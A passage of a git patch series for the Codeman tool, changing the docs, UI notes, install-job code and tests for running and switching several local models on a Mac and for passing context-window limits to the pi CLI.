loaded + and checked again (the tiny chat, the GPU, the tool probe), its digest must still be the + stored one (else the switch fails with `model-changed` before the model is loaded), and + the endpoint record is rewritten. The coding agent is the one the model was checked with + when it is still installed, else the one of the installation. +- **Delete** removes one model through the runtime's own delete, after one question in the + row. The request carries the model's name, never a path, and the server deletes only a + name of its own listing. The model in use cannot be deleted: switch first, or Remove. It + needs the running runtime, so a stopped model shows no Delete until Start. + +Adding a model and switching are refused while a session uses the model ("Sessions are +still using this model"), like Stop: their coding agents were started with the other model's +name, and the runtime would swap models on every request. + +While a job that started from an installed model runs, or after it stopped (paused or +failed), no session is started: the checks above want a finished installation, and the +refusal says so (`job-unfinished`). The window +then lists the checked models with **Use**, which is the way back to the earlier one. Going +back deletes what the stopped job left of a model that never passed its check, the way a new +install does; a checked model is never deleted that way. + ## Stop, Start, Remove - **Stop** stops the runtime and keeps it from starting at the next boot. **Start** undoes that. - **Remove** stops the runtime, removes the endpoint record, switches the setting off again only when this feature switched it on and no other endpoint is saved, and deletes the - runtime and its private home. The downloaded model is deleted only when asked. The coding - agent stays. While a live session uses the model, Remove answers with the session names - instead. + runtime and its private home. The downloaded models (all of them) are deleted only when + asked. The coding agent stays. While a live session uses the model, Remove answers with + the session names instead. +- **Models a Remove kept** are not lost space: with nothing installed the window says how + much they still take and offers "Delete them", and after a new install they show in the + list as "Not checked", each with its own Delete. ## Where everything is All under the data directory (`~/.codeman`, or the instance's own): ``` -local-model.json the state file (mode 0600) +local-model.json the state file (mode 0600), with the list of checked models local-model/ runtime/ollama-0.40.15.tgz.partial the runtime archive while it downloads runtime/ollama-0.40.15/ the unpacked runtime (about 579 MB) @@ -313,9 +373,12 @@ in App Settings. | ------------ | ------------------------------------------------------------- | ---------------- | -------------------------------------- | | `idle` | stays idle | refused | install | | `installing` | becomes `paused` at the same step | becomes `paused` | cancel | -| `paused` | stays paused | refused | resume, install, remove | -| `failed` | stays failed, same error | refused | resume, install, remove | -| `installed` | stays installed; the runtime is started unless it was stopped | refused | start a session, stop or start, remove | +| `paused` | stays paused | refused | resume, install, use, delete a model, remove | +| `failed` | stays failed, same error | refused | resume, install, use, delete a model, remove | +| `installed` | stays installed; the runtime is started unless it was stopped | refused | start a session, stop or start, install (add a model), use, delete a model, remove | + +`use` and "delete a model" are listed only while a row of the list offers them, and in +`idle` "remove" is offered only while the model store still holds something. One job at a time. A job a server restart interrupted comes back paused and never continues without a click. Cancel interrupts the step in flight (the download, the pull, the request, @@ -357,6 +420,12 @@ or `python3`. on a Mac. "Recommended" appears only for the pair we ran, on the Mac we ran it on. - **The model stays in memory for ten minutes** after the last request, then the runtime unloads it. +- **One model runs at a time.** Several can be on disk; the runtime holds one, and a switch + restarts it and loads the other model (seconds to a minute). Close the sessions on the + model first: the window refuses the switch while one is open. +- **The disk figures are the runtime's.** A row's size is what the runtime reports for the + model, and the total is the size of its blob files. Neither was compared with Finder on a + Mac yet. ## Keeping the catalogue current diff --git a/docs/wiki/Custom-Model-Endpoints.md b/docs/wiki/Custom-Model-Endpoints.md index 4ee5aa596..fee218616 100644 --- a/docs/wiki/Custom-Model-Endpoints.md +++ b/docs/wiki/Custom-Model-Endpoints.md @@ -234,6 +234,11 @@ Good to know: but it is changed and removed in the local model window, not here. - Codeman starts the runtime with the server and stops it with it. **Stop** keeps it from starting next time. +- More than one model can be on the Mac, and one of them runs at a time. Once a model is + installed the window lists the models with what each takes on disk: **Add a model** + downloads another one, **Use** switches to a model that is already there (nothing is + downloaded; close the sessions on the model first), and **Delete** removes one, after one + question. The model in use cannot be deleted: switch first, or use **Remove**. - **Remove** deletes the runtime and the endpoint, and the model too if you tick that. The coding agent stays installed. - If the model on disk is no longer the one that was installed, Codeman refuses to start a diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index 9268b4402..fd47f9569 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). -**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`; the visual walk is a scratch Playwright script, not a test. +**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`, and `test/local-model-ui.browser.test.ts` (real Chromium, not in the gate: the columns, the two-line phone rows, the long list that scrolls from its top); the visual walk is a scratch Playwright script, not a test. **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) From 7bdef0d86acffaf2bd8d747eb90c3305d7ad7f6f Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Tue, 10 Nov 2026 23:54:43 +0100 Subject: [PATCH 03/11] fix(local-model): a switch or a new model from a stopped model undoes the Stop A job started from a model the person had stopped runs the runtime, and the model it ends on is in use and running. The stored "stopped" flag stayed set, so that model would not have started with the server again. Both verbs now set it back once their job started, the way Start does. Co-Authored-By: Claude Fable 5.2 --- docs/architecture-invariants.md | 2 +- docs/local-models.md | 3 ++- src/local-model/install-job.ts | 15 ++++++++++++++ test/local-model-install-service.test.ts | 25 ++++++++++++++++++++++++ 4 files changed, 43 insertions(+), 2 deletions(-) diff --git a/docs/architecture-invariants.md b/docs/architecture-invariants.md index dead6b93b..e17d63da3 100644 --- a/docs/architecture-invariants.md +++ b/docs/architecture-invariants.md @@ -724,7 +724,7 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse ⚠️ Three verbs, each a row of the tables and never a special case. **Add**: `install` is also listed for `installed` in `INSTALL_TRANSITIONS`; the job is the same five steps, and the earlier model stays (the `replacedModelId` rule, `replacedModelFor()`, never names a model of the library: only an unchecked or partial download is deleted as a leftover). **Switch**: the event `use` (`installed`, `paused`, `failed`) starts a job of `USE_JOB_STEPS` (`verify`, `connect`) for a library entry, carrying its stored digest in `model.digest`; `stepVerify` compares that digest BEFORE it loads anything and again after the check, and a different or missing one fails with `model-changed`. A switch has no `model` step, so the leftovers of the job it replaced are deleted at the start of `verify` (`dropReplacedModel()`). Its coding agent is the entry's own when that is installed now, else the state's (`recheckCliInstalled()`), else a 400: a job that stopped while it installed another agent leaves the state naming one that is not there. **Delete** (`deleteLibraryModel()`) moves no state, so it is not an event; whether a state allows it is the `delete-model` action of its `INSTALL_STATE_TABLE` row. It takes a model NAME (the request schema and the service both hold it to `LOCAL_MODEL_ID_PATTERN`), requires that name in the server's own listing (the library or the runtime's tags), goes through the runtime's `/api/delete` only (never a file delete, never a path), and trusts only the runtime's answer that the model is gone, never an empty listing. ⚠️ It refuses the model of the installation or of the current job (`model-active`), a running job, and a runtime that is down or does not answer (`runtime-not-running`). -⚠️ `install` from `installed` and `use` are refused with 409 `sessions-open` while live sessions use the endpoint, like Stop: both change which model the runtime holds and often restart it for another context. ⚠️ While a job that started from `installed` is unfinished (`installing`, `paused`, `failed`) the launch check refuses every start with `job-unfinished` (a code only a refused start says, like `runtime-not-running`), because it wants the state `installed`; the view then offers `use` on the other checked models, which is the way back. A switch is never offered for the model of the stopped job itself: Resume goes on with that one. +⚠️ `install` from `installed` and `use` are refused with 409 `sessions-open` while live sessions use the endpoint, like Stop: both change which model the runtime holds and often restart it for another context. ⚠️ While a job that started from `installed` is unfinished (`installing`, `paused`, `failed`) the launch check refuses every start with `job-unfinished` (a code only a refused start says, like `runtime-not-running`), because it wants the state `installed`; the view then offers `use` on the other checked models, which is the way back. A switch is never offered for the model of the stopped job itself: Resume goes on with that one. ⚠️ Both verbs undo a Stop (`undoStop()`, `runtime.enabled` back to true) once their job started: the job runs the runtime, and a model that is in use and running must also start with the server again. **The view's two listings.** `install.library` (`buildLibraryRows()`, pure) joins the state's entries with what the RUNNING runtime lists (`/api/tags`): `ready`, `changed` (another digest under the name), `missing` (no longer listed) for a checked model, `unverified` for anything else the runtime lists (a model an earlier Remove kept, the model of a job that has not passed its check, one another program pulled through the unauthenticated port), which can be deleted and never switched to. A name that is not a plain `name:tag` is listed with no action. `install.store` is `measureModelStore()`: the sizes of the regular files directly in `models/blobs`, nothing followed, nothing outside the root. ⚠️ Neither is asked for on the one-second poll: `tagsCache` (5 s) and `storeCache` (30 s) are refreshed in the background, only a figure that was never read is waited for (300 ms at most), a runtime that does not answer keeps the last list (or every checked model would read as `missing` for a moment), and every verb and finished step that changes the store throws both away (`forgetStore()`). ⚠️ In `idle` there is no runtime to ask, so the list is empty and only `store` says that an earlier Remove kept models; `remove` is listed there only while it holds something, and `DELETE /api/local-model { removeModel: true }` is what frees it. `Candidate.library` (`active`, `ready`) is added by the ROUTE (`markLibraryCandidates()`), never by `recommend()`, which stays pure and knows nothing of what is installed. diff --git a/docs/local-models.md b/docs/local-models.md index a90d48178..1b412904c 100644 --- a/docs/local-models.md +++ b/docs/local-models.md @@ -333,7 +333,8 @@ install does; a checked model is never deleted that way. ## Stop, Start, Remove - **Stop** stops the runtime and keeps it from starting at the next boot. **Start** undoes - that. + that, and so does a switch to another model or the install of one: the job starts the + runtime, and the model it ends on is in use. - **Remove** stops the runtime, removes the endpoint record, switches the setting off again only when this feature switched it on and no other endpoint is saved, and deletes the runtime and its private home. The downloaded models (all of them) are deleted only when diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts index 66cba2e12..f8835bf1a 100644 --- a/src/local-model/install-job.ts +++ b/src/local-model/install-job.ts @@ -1955,6 +1955,7 @@ class LocalModelServiceImpl implements LocalModelService { steps: jobSteps({ agentInstalled: harness.installed }), }); if (refused) return refused; + await this.undoStop(); this.forgetStore(); void this.deps .audit({ @@ -2015,6 +2016,7 @@ class LocalModelServiceImpl implements LocalModelService { cli, }); if (refused) return refused; + await this.undoStop(); this.forgetStore(); void this.deps .audit({ @@ -2183,6 +2185,19 @@ class LocalModelServiceImpl implements LocalModelService { }); } + /** + * A job that starts from a model the person had stopped runs the runtime, and that model is + * then in use: the Stop is undone, like Start undoes it, so the runtime starts with the + * server again. Without this the model would be running now and stay down after a restart. + */ + private async undoStop(): Promise { + await this.record((current) => + current.runtime && !current.runtime.enabled + ? { ...current, runtime: { ...current.runtime, enabled: true } } + : undefined + ); + } + /** 409 `sessions-open` while live sessions use a connection of ours, else `undefined`. */ private sessionsOpen( state: LocalModelStateFile, diff --git a/test/local-model-install-service.test.ts b/test/local-model-install-service.test.ts index e2fc64dca..08ab420f6 100644 --- a/test/local-model-install-service.test.ts +++ b/test/local-model-install-service.test.ts @@ -3046,6 +3046,31 @@ describe('use: the switch to a checked model', () => { expect(h.store.get().state).toBe('installed'); }); + it('a switch or a new model from a stopped model starts the runtime and undoes the Stop', async () => { + const stopped: LocalModelStateFile = { ...TWO_MODELS, runtime: { ...INSTALLED.runtime!, enabled: false } }; + const switched = setup({ state: stopped, runtimeOnDisk: true, agentInstalled: true }); + await switched.service.boot(); + expect(switched.supervisor.start).not.toHaveBeenCalled(); + await switched.service.use({ modelId: GPT.id }, ADMIN); + await switched.service.idle(); + // The model is in use and running now, so it starts with the server again, like after Start. + expect(switched.store.get()).toMatchObject({ state: 'installed', runtime: { enabled: true } }); + expect((await switched.service.view()).running).toBe(true); + + const added = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + added.world.runtimeOnDisk = true; + added.world.agentInstalled = true; + await added.service.boot(); + await added.service.install(ADD_GPT, ADMIN); + await added.service.idle(); + expect(added.store.get()).toMatchObject({ state: 'installed', model: { id: GPT.id }, runtime: { enabled: true } }); + + // A switch that was refused changed nothing: the model stays stopped. + const refused = setup({ state: stopped, runtimeOnDisk: true, agentInstalled: true }); + await refused.service.use({ modelId: 'someone-else:7b' }, ADMIN); + expect(refused.store.get().runtime?.enabled).toBe(false); + }); + it('Cancel pauses a switch like any job, and Resume goes on with it', async () => { const h = setup({ state: TWO_MODELS, From a5a1b6f9a267921ad76986dbe3e82371a0fe9235 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Wed, 11 Nov 2026 09:53:12 +0100 Subject: [PATCH 04/11] fix(custom-model): pi is told the endpoint's context window A pi session on a custom endpoint got a model list entry with only the model id. pi then takes the model for a 128,000-token one (its footer reads "/128k") and asks for 16,384 reply tokens, so on a 65,536 or 32,768 window it never compacts before the server's real window is full. The entry now carries `contextWindow` (the full window) and `maxTokens` (a quarter of it, 8,192 at most) whenever the endpoint's context length is known: the same two figures the DeepSeek Harness patch already carries, now from one helper. An unknown length writes neither, as before. Measured on pi 1.5.2: with both fields `pi --list-models` shows the window, and the request carries `max_tokens: 8192`. Co-Authored-By: Claude Fable 5.2 --- src/custom-model-injection.ts | 36 ++++++++++++++++++----------- test/custom-model-injection.test.ts | 24 ++++++++++++++++--- 2 files changed, 43 insertions(+), 17 deletions(-) diff --git a/src/custom-model-injection.ts b/src/custom-model-injection.ts index 5bee035c1..9f230ccb3 100644 --- a/src/custom-model-injection.ts +++ b/src/custom-model-injection.ts @@ -194,6 +194,21 @@ function opencodeModelLimit(contextLength: number | undefined): { context: numbe return { context: total, output }; } +/** + * The two fields pi's model list and the dsh provider patch (which is built on pi's model + * layer) take for a model's window: `contextWindow`, the FULL window, and `maxTokens`, the + * reply's share of it (a quarter, capped at 8192 on a large window). Empty for an unknown or + * non-finite size: the CLI then keeps its own default, and no limit is invented here. + */ +function modelWindowFields(contextLength: number | undefined): { contextWindow?: number; maxTokens?: number } { + if (contextLength === undefined || !Number.isFinite(contextLength) || contextLength <= 0) return {}; + return { + contextWindow: Math.trunc(contextLength), + // A quarter of the window keeps the reply inside the prompt's share; 8192 caps it on a large window. + maxTokens: Math.max(1, Math.min(8192, Math.floor(contextLength / 4))), + }; +} + function renderConfigContent( template: 'opencode-json', endpoint: CustomModelEndpoint, @@ -260,19 +275,7 @@ function renderConfigFile( apiKeyEnv: CUSTOM_MODEL_API_KEY_ENV_VAR, api: 'openai-completions', baseURL: baseUrl, - models: [ - { - id: modelId, - name: modelId, - ...(contextLength !== undefined && Number.isFinite(contextLength) && contextLength > 0 - ? { - contextWindow: Math.trunc(contextLength), - // A quarter of the window keeps the reply inside the prompt's share; 8192 caps it on a large window. - maxTokens: Math.max(1, Math.min(8192, Math.floor(contextLength / 4))), - } - : {}), - }, - ], + models: [{ id: modelId, name: modelId, ...modelWindowFields(contextLength) }], }, }, }, @@ -327,6 +330,11 @@ function renderConfigFile( // true` is required too: pi does not automatically send `Authorization: Bearer // ` just because `apiKey` is set (per the same doc) — without it, a real // (non-llama.cpp) endpoint that actually checks the key would reject every request. + // The model entry carries the endpoint's context window when it is known. Without it pi + // takes an unknown model for a 128,000-token one (its footer reads `/128k`) and asks for + // 16,384 reply tokens, so on a 65,536 or 32,768 window it never compacts before the + // server's real window is full. Measured on pi 1.5.2: with both fields `pi --list-models` + // shows the window and the request carries `max_tokens: 8192`. return { content: JSON.stringify( { @@ -336,7 +344,7 @@ function renderConfigFile( apiKey, api: 'openai-completions', authHeader: true, - models: [{ id: modelId }], + models: [{ id: modelId, ...modelWindowFields(contextLength) }], }, }, }, diff --git a/test/custom-model-injection.test.ts b/test/custom-model-injection.test.ts index b88dbbab9..05b85b7e5 100644 --- a/test/custom-model-injection.test.ts +++ b/test/custom-model-injection.test.ts @@ -194,6 +194,24 @@ describe('buildCustomModelInjection', () => { expect(parsed.providers.custom.models).toEqual([{ id: 'qwen3' }]); // array, NOT keyed by id }); + it('pi: the model entry carries the endpoint window and a reply share of it, or pi takes the model for a 128k one', () => { + const models = (contextLength?: number) => { + const result = buildCustomModelInjection(entryOrThrow('pi'), endpoint, 'qwen3.6:35b-a3b', contextLength); + if (result.kind !== 'configDir') throw new Error('unreachable'); + return JSON.parse(result.files[0].content).providers.custom.models; + }; + // The full window, and 8192 reply tokens at most (measured on pi 1.5.2: the request then + // carries max_tokens 8192 instead of its own 16384). + expect(models(65536)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 65536, maxTokens: 8192 }]); + expect(models(131072.9)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 131072, maxTokens: 8192 }]); + // A small window keeps three quarters for the prompt. + expect(models(16384)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 16384, maxTokens: 4096 }]); + // Unknown stays unknown: no limit is invented. + for (const contextLength of [undefined, NaN, 0, -1, Infinity]) { + expect(models(contextLength), String(contextLength)).toEqual([{ id: 'qwen3.6:35b-a3b' }]); + } + }); + it('omp: configDir writes .omp/agent/models.yml, redirected via HOME (verified live end-to-end)', () => { const result = buildCustomModelInjection(entryOrThrow('omp'), endpoint, 'qwen3'); if (result.kind !== 'configDir') throw new Error('unreachable'); @@ -239,9 +257,9 @@ describe('buildCustomModelInjection', () => { // The patch references the DEDICATED var by name, never dsh's own DEEPSEEK_API_KEY: // dsh's llm-deepseek/web-search rows read that too and would leak this key to // api.deepseek.com on an in-session /model switch back to the official route. - expect(patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'].apiKeyEnv).toBe( - 'CODEMAN_CUSTOM_MODEL_API_KEY' - ); + expect( + patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'].apiKeyEnv + ).toBe('CODEMAN_CUSTOM_MODEL_API_KEY'); expect(result.files[0].content).not.toContain('DEEPSEEK_API_KEY'); expect(patch.find((row: { id: string }) => row.id === 